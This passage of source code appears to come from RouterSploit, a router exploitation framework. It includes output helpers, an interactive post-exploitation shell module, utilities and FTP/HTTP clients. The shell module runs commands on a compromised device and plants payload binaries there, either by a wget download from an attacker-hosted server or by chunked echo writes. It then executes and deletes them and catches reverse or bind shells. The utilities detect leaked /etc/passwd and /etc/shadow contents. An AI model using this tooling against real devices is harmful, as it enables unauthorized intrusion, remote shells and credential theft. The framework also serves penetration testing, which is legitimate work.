**kwargs)\n\n\ndef print_table(headers, *args, **kwargs) -> None:\n    \"\"\" Print table.\n\n    example:\n\n    Name            Current setting     Description\n    ----            ---------------     -----------\n    option_name     value               description\n    foo             bar                 baz\n    foo             bar                 baz\n\n    :param headers: Headers names ex.('Name, 'Current setting', 'Description')\n    :param args: table values, each element representing one line ex. ('option_name', 'value', 'description), ...\n    :param kwargs: 'extra_fill' space between columns, 'header_separator' character to separate headers from content\n    :return:\n    \"\"\"\n    extra_fill = kwargs.get(\"extra_fill\", 5)\n    header_separator = kwargs.get(\"header_separator\", \"-\")\n\n    if not all(map(lambda x: len(x) == len(headers), args)):\n        print_error(\"Headers and table rows tuples should be the same length.\")\n        return\n\n    def custom_len(x):\n        try:\n            return len(x)\n        except TypeError:\n            return 0\n\n    fill = []\n    headers_line = '   '\n    headers_separator_line = '   '\n    for idx, header in enumerate(headers):\n        column = [custom_len(arg[idx]) for arg in args]\n        column.append(len(header))\n\n        current_line_fill = max(column) + extra_fill\n        fill.append(current_line_fill)\n        headers_line = \"\".join((headers_line, \"{header:<{fill}}\".format(header=header, fill=current_line_fill)))\n        headers_separator_line = \"\".join((\n            headers_separator_line,\n            \"{:<{}}\".format(header_separator * len(header), current_line_fill)\n        ))\n\n    print_info()\n    print_info(headers_line)\n    print_info(headers_separator_line)\n    for arg in args:\n        content_line = \"   \"\n        for idx, element in enumerate(arg):\n            content_line = \"\".join((\n                content_line,\n                \"{:<{}}\".format(str(element), fill[idx])\n            ))\n        print_info(content_line)\n\n    print_info()\n\n\ndef pprint_dict_in_order(dictionary, order=None) -> None:\n    \"\"\" Pretty dict print.\n\n    Pretty printing dictionary in specific order. (as in 'show info' command)\n    Keys not mentioned in *order* parameter will be printed in random order.\n\n    ex. pprint_dict_in_order({'name': John, 'sex': 'male', \"hobby\": [\"rugby\", \"golf\"]}, ('sex', 'name'))\n\n    Sex:\n    male\n\n    Name:\n    John\n\n    Hobby:\n    - rugby\n    - golf\n\n    \"\"\"\n    order = order or ()\n\n    def prettyprint(title, body):\n        print_info(\"\\n{}:\".format(title.capitalize()))\n        if not isinstance(body, str):\n            for value_element in body:\n                print_info(\"- \", value_element)\n        else:\n            print_info(body)\n\n    keys = list(dictionary.keys())\n    for element in order:\n        try:\n            key = keys.pop(keys.index(element))\n            value = dictionary[key]\n        except (KeyError, ValueError):\n            pass\n        else:\n            prettyprint(element, value)\n\n    for rest_keys in keys:\n        prettyprint(rest_keys, dictionary[rest_keys])\n\n\ndef color_blue(string: str) -> str:\n    \"\"\" Returns string colored with blue\n\n    :param str string:\n    :return str:\n    \"\"\"\n\n    return \"\\033[94m{}\\033[0m\".format(string)\n\n\ndef color_green(string: str) -> str:\n    \"\"\" Returns string colored with green\n\n    :param str string:\n    :return str:\n    \"\"\"\n\n    return \"\\033[92m{}\\033[0m\".format(string)\n\n\ndef color_red(string: str) -> str:\n    \"\"\" Returns string colored with red\n\n    :param str string:\n    :return str:\n    \"\"\"\n\n    return \"\\033[91m{}\\033[0m\".format(string)\n"
  },
  {
    "path": "routersploit/core/exploit/shell.py",
    "content": "try:\n    import telnetlib\nexcept ImportError:\n    import telnetlib3 as telnetlib\n\nimport socket\nimport binascii\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nimport threading\nimport time\nimport importlib\n\nfrom routersploit.core.exploit.printer import (\n    printer_queue,\n    print_info,\n    print_error,\n    print_success,\n    print_status,\n    print_table,\n)\n\nfrom routersploit.core.exploit.utils import (\n    index_modules,\n    random_text,\n)\n\n\ndef shell(exploit, architecture=\"\", method=\"\", payloads=None, **params):\n    available_payloads = {}\n    payload = None\n    options = []\n\n    if architecture and method:\n        # get all payloads for given architecture\n        all_payloads = [p.replace(\"payloads.\", \"\").replace(\".\", \"/\") for p in index_modules() if \"payloads.{}\".format(architecture) in p]\n\n        for p in all_payloads:\n            module = getattr(importlib.import_module(\"routersploit.modules.payloads.\" + p.replace(\"/\", \".\")), \"Payload\")\n\n            # if method/arch is cmd then filter out payloads\n            if method == \"cmd\":\n                if getattr(module, \"cmd\") in payloads:\n                    available_payloads[p] = module\n            else:\n                available_payloads[p] = module\n\n    print_info()\n    print_success(\"Welcome to cmd. Commands are sent to the target via the execute method.\")\n    print_status(\"For further exploitation use 'show payloads' and 'set payload <payload>' commands.\")\n    print_info()\n\n    while True:\n        while not printer_queue.empty():\n            pass\n\n        if payload is None:\n            cmd_str = \"\\001\\033[4m\\002cmd\\001\\033[0m\\002 > \"\n        else:\n            cmd_str = \"\\001\\033[4m\\002cmd\\001\\033[0m\\002 (\\033[94m{}\\033[0m) > \".format(payload._Payload__info__[\"name\"])\n\n        cmd = input(cmd_str)\n\n        if cmd in [\"quit\", \"exit\"]:\n            return\n\n        elif cmd == \"show payloads\":\n            if not available_payloads:\n                print_error(\"There are no available payloads for this exploit\")\n                continue\n\n            print_status(\"Available payloads:\")\n            headers = (\"Payload\", \"Name\", \"Description\")\n            data = []\n            for p, v in available_payloads.items():\n                data.append((p, v._Payload__info__[\"name\"], v._Payload__info__[\"description\"]))\n\n            print_table(headers, *data)\n\n        elif cmd.startswith(\"set payload \"):\n            if not available_payloads:\n                print_error(\"There are no available payloads for this exploit\")\n                continue\n\n            c = cmd.split(\" \")\n\n            if c[2] in available_payloads.keys():\n                payload = available_payloads[c[2]]()\n\n                options = []\n                for option, attr in payload.exploit_attributes.items():\n                    if option not in [\"output\", \"filepath\"]:\n                        options.append([option, getattr(payload, option), attr[1]])\n\n                if payload.handler == \"bind_tcp\":\n                    options.append([\"rhost\", exploit.target, \"Target IP address\"])\n\n                    if method == \"wget\":\n                        options.append([\"lhost\", \"\", \"Connect-back IP address for wget\"])\n                        options.append([\"lport\", 4545, \"Connect-back Port for wget\"])\n            else:\n                print_error(\"Payload not available\")\n\n        elif payload is not None:\n            if cmd == \"show options\":\n                headers = (\"Name\", \"Current settings\", \"Description\")\n\n                print_info('\\nPayload Options:')\n                print_table(headers, *options)\n                print_info()\n\n            elif cmd.startswith(\"set \"):\n                c = cmd.split(\" \")\n                if len(c) != 3:\n                    print_error(\"set <option> <value>\")\n                else:\n                    for option in options:\n                        if option[0] == c[1]:\n                            try:\n                                setattr(payload, c[1], c[2])\n                            except Exception:\n                                print_error(\"Invalid value for {}\".format(c[1]))\n                                break\n\n                            option[1] = c[2]\n                            print_info(\"{} => {}\".format(c[1], c[2]))\n\n            elif cmd == \"run\":\n                data = payload.generate()\n\n                if method == \"wget\":\n                    elf_binary = payload.generate_elf(data)\n                    communication = Communication(exploit, elf_binary, options, **params)\n                    if communication.wget() is False:\n                        print_error(\"Exploit failed to transfer payload\")\n                        continue\n\n                elif method == \"echo\":\n                    elf_binary = payload.generate_elf(data)\n                    communication = Communication(exploit, elf_binary, options, **params)\n                    communication.echo()\n\n                elif method == \"cmd\":\n                    params[\"exec_binary\"] = data\n                    communication = Communication(exploit, \"\", options, **params)\n\n                if payload.handler == \"bind_tcp\":\n                    communication.bind_tcp()\n                elif payload.handler == \"reverse_tcp\":\n                    communication.reverse_tcp()\n\n            elif cmd == \"back\":\n                payload = None\n\n        else:\n            print_status(\"Executing '{}' on the device...\".format(cmd))\n            print_info(exploit.execute(cmd))\n\n\nclass HttpRequestHandler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\"Content-type\", \"text/html\")\n        self.end_headers()\n\n        self.wfile.write(self.server.content)\n        self.server.stop = True\n\n    def log_message(self, format, *args):\n        return\n\n\nclass HttpServer(HTTPServer):\n    def serve_forever(self, content):\n        self.stop = False\n        self.content = content\n        while not self.stop:\n            self.handle_request()\n\n\nclass Communication:\n    def __init__(self, exploit, payload, options, location=\"\", wget_options={}, echo_options={}, exec_binary=None):\n        self.exploit = exploit\n        self.payload = payload\n        self.options = {option[0]: option[1] for option in options}\n\n        # location to save the payload e.g. /tmp/\n        self.location = location\n\n        # transfer techniques\n        self.wget_options = wget_options\n        self.echo_options = echo_options\n\n        # process of executing payload\n        self.exec_binary = exec_binary\n\n        # name of the binary - its random 8 bytes\n        self.binary_name = None\n\n        self.port_used = False\n        self.mutex = False\n\n    def http_server(self, lhost, lport):\n        print_status(\"Setting up HTTP server\")\n\n        try:\n            server = HttpServer((lhost, int(lport)), HttpRequestHandler)\n        except socket.error:\n            self.port_used = True\n            self.mutex = False\n            return None\n\n        self.mutex = False\n\n        server.serve_forever(self.payload)\n        server.server_close()\n\n    def wget(self):\n        print_status(\"Using wget method\")\n        self.binary_name = random_text(8)\n\n        if \"binary\" in self.wget_options.keys():\n            binary = self.wget_options['binary']\n        else:\n            binary = \"wget\"\n\n        # run http server\n        all_interfaces = \"0.0.0.0\"\n        try:\n            server = HttpServer((all_interfaces, int(self.options[\"lport\"])), HttpRequestHandler)\n        except socket.error:\n            print_error(\"Could not set up HTTP Server on {}:{}\".format(self.options[\"lhost\"], self.options[\"lport\"]))\n            return False\n\n        thread = threading.Thread(target=server.serve_forever, args=(self.payload,))\n        thread.start()\n\n        # wget binary\n        print_status(\"Using wget to download binary\")\n        cmd = \"{} http://{}:{}/{} -qO {}/{}\".format(binary,\n                                                    self.options[\"lhost\"],\n                                                    self.options[\"lport\"],\n                                                    self.binary_name,\n                                                    self.location,\n                                                    self.binary_name)\n\n        self.exploit.execute(cmd)\n\n        thread.join(10)\n        if thread.is_alive():\n            assassin = threading.Thread(target=server.shutdown)\n            assassin.daemon = True\n            assassin.start()\n            return False\n\n        return True\n\n    def echo(self):\n        print_status(\"Using echo method\")\n        self.binary_name = random_text(8)\n\n        path = \"{}/{}\".format(self.location, self.binary_name)\n\n        # echo stream e.g. echo -ne {} >> {}\n        if \"stream\" in self.echo_options.keys():\n            echo_stream = self.echo_options[\"stream\"]\n        else:\n            echo_stream = 'echo -ne \"{}\" >> {}'\n\n        # echo prefix e.g. \"\\\\x\"\n        if \"prefix\" in self.echo_options.keys():\n            echo_prefix = self.echo_options[\"prefix\"]\n        else:\n            echo_prefix = \"\\\\x\"\n\n        # echo max length of the block\n        if \"max_length\" in self.echo_options.keys():\n            echo_max_length = int(self.echo_options[\"max_length\"])\n        else:\n            echo_max_length = 30\n\n        size = len(self.payload)\n        num_parts = int(size / echo_max_length) + 1\n\n        # transfer binary through echo command\n        print_status(\"Sending payload to {}\".format(path))\n        for i in range(0, num_parts):\n            current = i * echo_max_length\n            print_status(\"Transferring {}/{} bytes\".format(current, len(self.payload)))\n\n            block = str(binascii.hexlify(self.payload[current:current + echo_max_length]), \"utf-8\")\n            block = echo_prefix + echo_prefix.join(a + b for a, b in zip(block[::2], block[1::2]))\n            cmd = echo_stream.format(block, path)\n            self.exploit.execute(cmd)\n\n    def listen(self, lhost, lport):\n        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n\n        try:\n            sock.bind((lhost, int(lport)))\n            sock.listen(5)\n        except socket.error:\n            self.port_used = True\n            return None\n\n        return sock\n\n    def build_commands(self):\n        path = \"{}/{}\".format(self.location, self.binary_name)\n\n        commands = []\n\n        # set of instructions to execute payload on the device\n        if isinstance(self.exec_binary, list) or isinstance(self.exec_binary, tuple):\n            for item_exec_binary in self.exec_binary:\n                if isinstance(item_exec_binary, str):\n                    try:\n                        commands.append(item_exec_binary.format(path))\n                    except (KeyError, ValueError):\n                        commands.append(item_exec_binary)\n                elif callable(item_exec_binary):\n                    commands.append(item_exec_binary(path))\n\n        # instruction to execute cmd payload e.g. netcat / awk\n        elif isinstance(self.exec_binary, str):\n            try:\n                commands.append(self.exec_binary.format(path))\n            except (KeyError, ValueError):\n                commands.append(self.exec_binary)\n\n        # default way of executing payload\n        else:\n            exec_binary_str = \"chmod 777 {0}; {0}; rm {0}\".format(path)\n            commands.append(exec_binary_str)\n\n        return commands\n\n    def reverse_tcp(self):\n        all_interfaces = \"0.0.0.0\"\n        sock = self.listen(all_interfaces, self.options[\"lport\"])\n        if self.port_used:\n            print_error(\"Could not set up listener on {}:{}\".format(all_interfaces, self.options[\"lport\"]))\n            return\n\n        # execute binary\n        commands = self.build_commands()\n\n        print_status(\"Executing payload on the device\")\n\n        # synchronized commands\n        for command in commands[:-1]:\n            self.exploit.execute(command)\n\n        # asynchronous last command to execute binary & rm binary\n        thread = threading.Thread(target=self.exploit.execute, args=(commands[-1],))\n        thread.start()\n\n        # waiting for shell\n        print_status(\"Waiting for reverse shell...\")\n        client, addr = sock.accept()\n        sock.close()\n        print_status(\"Connection from {}:{}\".format(addr[0], addr[1]))\n\n        print_success(\"Enjoy your shell\")\n        t = telnetlib.Telnet()\n        t.sock = client\n        t.interact()\n\n    def bind_tcp(self):\n        # execute binary\n        commands = self.build_commands()\n\n        # synchronized commands\n        for command in commands[:-1]:\n            self.exploit.execute(command)\n\n        # asynchronous last command to execute binary & rm binary\n        thread = threading.Thread(target=self.exploit.execute, args=(commands[-1],))\n        thread.start()\n\n        # connecting to shell\n        print_status(\"Connecting to {}:{}\".format(self.options['rhost'], self.options['rport']))\n        time.sleep(2)\n\n        try:\n            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n            sock.connect((self.options[\"rhost\"], int(self.options[\"rport\"])))\n        except socket.error:\n            print_error(\"Could not connect to {}:{}\".format(self.options[\"rhost\"], self.options[\"rport\"]))\n            return\n\n        print_success(\"Enjoy your shell\")\n        tn = telnetlib.Telnet()\n        tn.sock = sock\n        tn.interact()\n"
  },
  {
    "path": "routersploit/core/exploit/utils.py",
    "content": "import re\nimport os\nimport importlib\nimport string\nimport random\nfrom functools import wraps\n\nimport routersploit.modules as rsf_modules\nimport routersploit.resources as resources\nimport routersploit.resources.wordlists as wordlists\n\nfrom routersploit.core.exploit.printer import print_error, print_info\nfrom routersploit.core.exploit.exceptions import RoutersploitException\n\nMODULES_DIR = rsf_modules.__path__[0]\nRESOURCES_DIR = resources.__path__[0]\nWORDLISTS_DIR = wordlists.__path__[0]\n\n\ndef random_text(length: int, alph: str = string.ascii_letters + string.digits) -> str:\n    \"\"\" Generates random string text\n\n    :param int length: length of text to generate\n    :param str alph: string of all possible characters to choose from\n    :return str: generated random string of specified size\n    \"\"\"\n\n    return \"\".join(random.choice(alph) for _ in range(length))\n\n\ndef is_ipv4(address: str) -> bool:\n    \"\"\" Checks if given address is valid IPv4 address\n\n    :param str address: IP address to check\n    :return bool: True if address is valid IPv4 address, False otherwise\n    \"\"\"\n\n    regexp = \"^(?:(?:[0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\\\\.){3}(?:[0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$\"\n    if re.match(regexp, address):\n        return True\n\n    return False\n\n\ndef is_ipv6(address: str) -> bool:\n    \"\"\" Checks if given address is valid IPv6 address\n\n    :param str address: IP address to check\n    :return bool: True if address is valid IPv6 address, False otherwise\n    \"\"\"\n\n    regexp = \"^(?:(?:[0-9A-Fa-f]{1,4}:){6}(?:[0-9A-Fa-f]{1,4}:[0-9A-Fa-f]{1,4}|(?:(?:[0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\\\\.){3}(?:[0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]))|::(?:[0-9A-Fa-f]{1,4}:){5}(?:[0-9A-Fa-f]{1,4}:[0-9A-Fa-f]{1,4}|(?:(?:[0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\\\\.){3}(?:[0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]))|(?:[0-9A-Fa-f]{1,4})?::(?:[0-9A-Fa-f]{1,4}:){4}(?:[0-9A-Fa-f]{1,4}:[0-9A-Fa-f]{1,4}|(?:(?:[0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\\\\.){3}(?:[0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]))|(?:[0-9A-Fa-f]{1,4}:[0-9A-Fa-f]{1,4})?::(?:[0-9A-Fa-f]{1,4}:){3}(?:[0-9A-Fa-f]{1,4}:[0-9A-Fa-f]{1,4}|(?:(?:[0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\\\\.){3}(?:[0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]))|(?:(?:[0-9A-Fa-f]{1,4}:){,2}[0-9A-Fa-f]{1,4})?::(?:[0-9A-Fa-f]{1,4}:){2}(?:[0-9A-Fa-f]{1,4}:[0-9A-Fa-f]{1,4}|(?:(?:[0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\\\\.){3}(?:[0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]))|(?:(?:[0-9A-Fa-f]{1,4}:){,3}[0-9A-Fa-f]{1,4})?::[0-9A-Fa-f]{1,4}:(?:[0-9A-Fa-f]{1,4}:[0-9A-Fa-f]{1,4}|(?:(?:[0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\\\\.){3}(?:[0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]))|(?:(?:[0-9A-Fa-f]{1,4}:){,4}[0-9A-Fa-f]{1,4})?::(?:[0-9A-Fa-f]{1,4}:[0-9A-Fa-f]{1,4}|(?:(?:[0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\\\\.){3}(?:[0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]))|(?:(?:[0-9A-Fa-f]{1,4}:){,5}[0-9A-Fa-f]{1,4})?::[0-9A-Fa-f]{1,4}|(?:(?:[0-9A-Fa-f]{1,4}:){,6}[0-9A-Fa-f]{1,4})?::)%.*$\"\n\n    if re.match(regexp, address):\n        return True\n\n    return False\n\n\ndef convert_ip(address: str) -> bytes:\n    \"\"\" Converts IP to bytes\n\n    :param str address: IP address that should be converted to bytes\n    :return bytes: IP converted to bytes format\n    \"\"\"\n\n    res = b\"\"\n    for i in address.split(\".\"):\n        res += bytes([int(i)])\n    return res\n\n\ndef convert_port(port: int) -> bytes:\n    \"\"\" Converts Port to bytes\n\n    :param int port: port that should be conveted to bytes\n    :return bytes: port converted to bytes format\n    \"\"\"\n\n    res = \"%.4x\" % int(port)\n    return bytes.fromhex(res)\n\n\ndef index_modules(modules_directory: str = MODULES_DIR) -> list:\n    \"\"\" Returns list of all exploits modules\n\n    :param str modules_directory: path to modules directory\n    :return list: list of found modules\n    \"\"\"\n\n    modules = []\n    for root, dirs, files in os.walk(modules_directory):\n        _, package, root = root.rpartition(\"routersploit/modules/\".replace(\"/\", os.sep))\n        root = root.replace(os.sep, \".\")\n        files = filter(lambda x: not x.startswith(\"__\") and x.endswith(\".py\"), files)\n        modules.extend(map(lambda x: \".\".join((root, os.path.splitext(x)[0])), files))\n\n    return modules\n\n\ndef import_exploit(path: str):\n    \"\"\" Imports exploit module\n\n    :param str path: absolute path to exploit e.g. routersploit.modules.exploits.asus_auth_bypass\n    :return: exploit module or error\n    \"\"\"\n\n    try:\n        module = importlib.import_module(path)\n        if hasattr(module, \"Payload\"):\n            return getattr(module, \"Payload\")\n        elif hasattr(module, \"Encoder\"):\n            return getattr(module, \"Encoder\")\n        elif hasattr(module, \"Exploit\"):\n            return getattr(module, \"Exploit\")\n        else:\n            raise ImportError(\"No module named '{}'\".format(path))\n\n    except (ImportError, AttributeError, KeyError) as err:\n        raise RoutersploitException(\n            \"Error during loading '{}'\\n\\n\"\n            \"Error: {}\\n\\n\"\n            \"It should be valid path to the module. \"\n            \"Use <tab> key multiple times for completion.\".format(humanize_path(path), err)\n        )\n\n\ndef iter_modules(modules_directory: str = MODULES_DIR) -> list:\n    \"\"\" Iterates over valid modules\n\n    :param str modules_directory: path to modules directory\n    :return list: list of found modules\n    \"\"\"\n\n    modules = index_modules(modules_directory)\n    modules = map(lambda x: \"\".join([\"routersploit.modules.\", x]), modules)\n    for path in modules:\n        yield import_exploit(path)\n\n\ndef pythonize_path(path: str) -> str:\n    \"\"\" Replaces argument to valid python dotted notation.\n\n    ex. foo/bar/baz -> foo.bar.baz\n\n    :param str path: path to pythonize\n    :return str: pythonized path\n    \"\"\"\n\n    return path.replace(\"/\", \".\")\n\n\ndef humanize_path(path: str) -> str:\n    \"\"\" Replace python dotted path to directory-like one.\n\n    ex. foo.bar.baz -> foo/bar/baz\n\n    :param str path: path to humanize\n    :return str: humanized path\n    \"\"\"\n\n    return path.replace(\".\", \"/\")\n\n\ndef module_required(fn):\n    \"\"\" Checks if module is loaded.\n\n    Decorator that checks if any module is activated\n    before executing command specific to modules (ex. 'run').\n    \"\"\"\n\n    @wraps(fn)\n    def wrapper(self, *args, **kwargs):\n        if not self.current_module:\n            print_error(\"You have to activate any module with 'use' command.\")\n            return\n        return fn(self, *args, **kwargs)\n\n    try:\n        name = \"module_required\"\n        wrapper.__decorators__.append(name)\n    except AttributeError:\n        wrapper.__decorators__ = [name]\n    return wrapper\n\n\ndef stop_after(space_number):\n    \"\"\" Decorator that determines when to stop tab-completion\n\n    Decorator that tells command specific complete function\n    (ex. \"complete_use\") when to stop tab-completion.\n    Decorator counts number of spaces (' ') in line in order\n    to determine when to stop.\n\n        ex. \"use exploits/dlink/specific_module \" -> stop complete after 2 spaces\n        \"set rhost \" -> stop completing after 2 spaces\n        \"run \" -> stop after 1 space\n\n    :param space_number: number of spaces (' ') after which tab-completion should stop\n    :return:\n    \"\"\"\n\n    def _outer_wrapper(wrapped_function):\n        @wraps(wrapped_function)\n        def _wrapper(self, *args, **kwargs):\n            try:\n                if args[1].count(\" \") == space_number:\n                    return []\n            except Exception as err:\n                print_info(err)\n            return wrapped_function(self, *args, **kwargs)\n        return _wrapper\n    return _outer_wrapper\n\n\ndef lookup_vendor(addr: str, resources_directory: str = RESOURCES_DIR) -> str:\n    \"\"\" Lookups vendor (manufacturer) based on MAC address\n\n    :param str addr: MAC address to lookup\n    :param str resources_directory: path to resources directory\n    :return str: vendor name from oui.dat database\n    \"\"\"\n\n    addr = addr.upper().replace(\":\", \"\")\n\n    path = os.path.join(resources_directory, \"vendors/oui.dat\")\n    with open(path, \"r\") as f:\n        for line in f.readlines():\n            line = line.strip()\n            if line == \"\" or line[0] == \"#\":\n                continue\n\n            mac, name = line.split(\" \", 1)\n            if addr.startswith(mac):\n                return name\n\n    return None\n\n\nclass Version:\n    def __init__(self, value):\n        self.value = str(value)\n\n    def __set__(self, value):\n        self.value = value\n\n    def __lt__(self, other):\n        \"\"\" Override the default x<y \"\"\"\n        if self._compare_versions(self.value, other.value) < 0:\n            return True\n        return False\n\n    def __le__(self, other):\n        \"\"\"Override the default x<=y\"\"\"\n        if self._compare_versions(self.value, other.value) <= 0:\n            return True\n        return False\n\n    def __eq__(self, other):\n        \"\"\"Override the default x==y\"\"\"\n        return self.value == other.value\n\n    def __ne__(self, other):\n        \"\"\"Override the default x!=y or x<>y\"\"\"\n        return self.value != other.value\n\n    def __gt__(self, other):\n        \"\"\"Override the defualt x>y\"\"\"\n        if self._compare_versions(self.value, other.value) > 0:\n            return True\n        return False\n\n    def __ge__(self, other):\n        \"\"\"Override the default x>=y\"\"\"\n        if self._compare_versions(self.value, other.value) >= 0:\n            return True\n        return False\n\n    @staticmethod\n    def _compare_versions(version1, version2):\n        \"\"\" Version comparision\n\n        :param Version version1:\n        :param Version version2:\n        :return int:\n            if version1 < version2 then -1\n            if version1 == version2 then 0\n            if version1 > version2 then 1\n        \"\"\"\n\n        arr1 = re.sub(r\"\\D\", \".\", str(version1)).split(\".\")\n        arr2 = re.sub(r\"\\D\", \".\", str(version2)).split(\".\")\n\n        i = 0\n\n        while (i < len(arr1)):\n            if int(arr2[i]) > int(arr1[i]):\n                return -1\n\n            if int(arr1[i]) > int(arr2[i]):\n                return 1\n\n            i += 1\n\n        return 0\n\n\ndef detect_file_content(content: str, f: str = \"/etc/passwd\") -> bool:\n    \"\"\" Detect specific file content in content\n\n    :param str content: file content that should be analyzed\n    :param str f: file that the content should be compared with\n    :return bool: True if the content was recognized, False otherwise\n    \"\"\"\n\n    if f in [\"/etc/passwd\", \"/etc/shadow\"]:\n        if re.findall(r\"(root|[aA]dmin):.*?:.*?:.*?:.*?:.*?:\", content):\n            return True\n\n    return False\n"
  },
  {
    "path": "routersploit/core/ftp/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/core/ftp/ftp_client.py",
    "content": "import ftplib\nimport io\n\nfrom routersploit.core.exploit.exploit import Exploit\nfrom routersploit.core.exploit.exploit import Protocol\nfrom routersploit.core.exploit.option import OptBool\nfrom routersploit.core.exploit.printer import print_error\nfrom routersploit.core.exploit.printer import print_success\n\n\nFTP_TIMEOUT = 8.0\n\n\nclass FTPCli:\n    \"\"\" FTP Client provides methods to handle communication with FTP server \"\"\"\n\n    def __init__(self, ftp_target: str, ftp_port: int, ssl: bool = False, verbosity: bool = False) -> None:\n        \"\"\" FTP client constructor\n\n        :param str ftp_target: target FTP server ip address\n        :param int ftp_port: target FTP server port\n        :param bool ssl: target FTP ssl enabled\n        :param bool verbosity: display verbose output\n        :return None:\n        \"\"\"\n\n        self.ftp_target = ftp_target\n        self.ftp_port = ftp_port\n        self.verbosity = verbosity\n\n        self.peer = \"{}:{}\".format(self.ftp_target, ftp_port)\n\n        if ssl:\n            self.ftp_client = ftplib.FTP_TLS()\n        else:\n            self.ftp_client = ftplib.FTP()\n\n    def connect(self, retries: int = 1) -> bool:\n        \"\"\" Connect to FTP server\n\n        :param int retries: number of retry attempts\n        :return bool: True if connection was successful, False otherwise\n        \"\"\"\n\n        for _ in range(retries):\n            try:\n                self.ftp_client.connect(self.ftp_target, self.ftp_port, timeout=FTP_TIMEOUT)\n                return True\n            except Exception as err:\n                print_error(self.peer, \"FTP Error while connecting to the server\", err, verbose=self.verbosity)\n\n            self.ftp_client.close()\n\n        return False\n\n    def login(self, username: str, password: str) -> bool:\n        \"\"\" Login to FTP server\n\n        :param str username: FTP account username\n        :param str password: FTP account password\n        :return bool: True if login was successful, False otherwise\n        \"\"\"\n\n        try:\n            self.ftp_client.login(username, password)\n            print_success(self.peer, \"FTP Authentication Successful - Username: '{}' Password: '{}'\".format(username, password), verbose=self.verbosity)\n            return True\n        except Exception:\n            print_error(self.peer, \"FTP Authentication Failed - Username: '{}' Password: '{}'\".format(username, password), verbose=self.verbosity)\n\n        self.ftp_client.close()\n        return False\n\n    def test_connect(self) -> bool:\n        \"\"\" Test connection to FTP server\n\n        :return bool: True if connection was successful, False otherwise\n        \"\"\"\n\n        if self.connect():\n            self.ftp_client.close()\n            return True\n\n        return False\n\n    def get_content(self, remote_file: str) -> str:\n        \"\"\" Get remote file from FTP server\n\n        :param str remote_file: remote file name\n        :return str: remote file content\n        \"\"\"\n\n        try:\n            fp_content = io.BytesIO()\n            self.ftp_client.retrbinary(\"RETR {}\".format(remote_file), fp_content.write)\n            return fp_content.getvalue()\n        except Exception as err:\n            print_error(self.peer, \"FTP Error while retrieving content\", err, verbose=self.verbosity)\n\n        return None\n\n    def close(self) -> bool:\n        \"\"\" Close FTP connection\n\n        :return bool: True if closing connection was successful, False otherwise\n        \"\"\"\n\n        try:\n            self.ftp_client.close()\n            return True\n        except Exception as err:\n            print_error(self.peer, \"FTP Error while closing connection\", err, verbose=self.verbosity)\n\n        return False\n\n\n# pylint: disable=no-member\nclass FTPClient(Exploit):\n    \"\"\" FTP Client exploit \"\"\"\n\n    target_protocol = Protocol.FTP\n\n    ssl = OptBool(False, \"SSL enabled: true/false\")\n    verbosity = OptBool(True, \"Enable verbose output: true/false\")\n\n    def ftp_create(self, target: str = None, port: int = None) -> FTPCli:\n        \"\"\" Create FTP client\n\n        :param str target: target FTP server ip address\n        :param int port: target FTP server port\n        :return FTPCli: FTP client object\n        \"\"\"\n\n        ftp_target = target if target else self.target\n        ftp_port = port if port else self.port\n\n        ftp_client = FTPCli(ftp_target, ftp_port, ssl=self.ssl, verbosity=self.verbosity)\n        return ftp_client\n"
  },
  {
    "path": "routersploit/core/http/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/core/http/http_client.py",
    "content": "import socket\nimport requests\nimport urllib3\n\nfrom routersploit.core.exploit.exploit import Exploit\nfrom routersploit.core.exploit.exploit import Protocol\nfrom routersploit.core.exploit.option import OptBool\nfrom routersploit.core.exploit.printer import print_error\n\n\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\nHTTP_TIMEOUT = 30.0\n\n\n# pylint: disable=no-member\nclass HTTPClient(Exploit):\n    \"\"\" HTTP Client provides methods to handle communication with HTTP server \"\"\"\n\n    target_protocol = Protocol.HTTP\n\n    verbosity = OptBool(True, \"Verbosity enabled: true/false\")\n    ssl = OptBool(False, \"SSL enabled: true/false\")\n\n    def http_request(self, method: str, path: str, session: requests = requests, **kwargs) -> requests.Response:\n        \"\"\" Requests HTTP resource\n\n        :param str method: method that should be issued e.g. GET, POST\n        :param str path: path to the resource that should be requested\n        :param requests session: session manager that should be used\n        :param kwargs: kwargs passed to request method\n        :return Response: Response object\n        \"\"\"\n\n        if self.ssl:\n            url = \"https://\"\n        else:\n            url = \"http://\"\n\n        url += \"{}:{}{}\".format(self.target, self.port, path)\n\n        kwargs.setdefault(\"timeout\", HTTP_TIMEOUT)\n        kwargs.setdefault(\"verify\", False)\n        kwargs.setdefault(\"allow_redirects\", False)\n\n        try:\n            return getattr(session, method.lower())(url, **kwargs)\n        except (requests.exceptions.MissingSchema, requests.exceptions.InvalidSchema):\n            print_error(\"Invalid URL format: {}\".format(url), verbose=self.verbosity)\n        except requests.exceptions.ConnectionError:\n            print_error(\"Connection error: 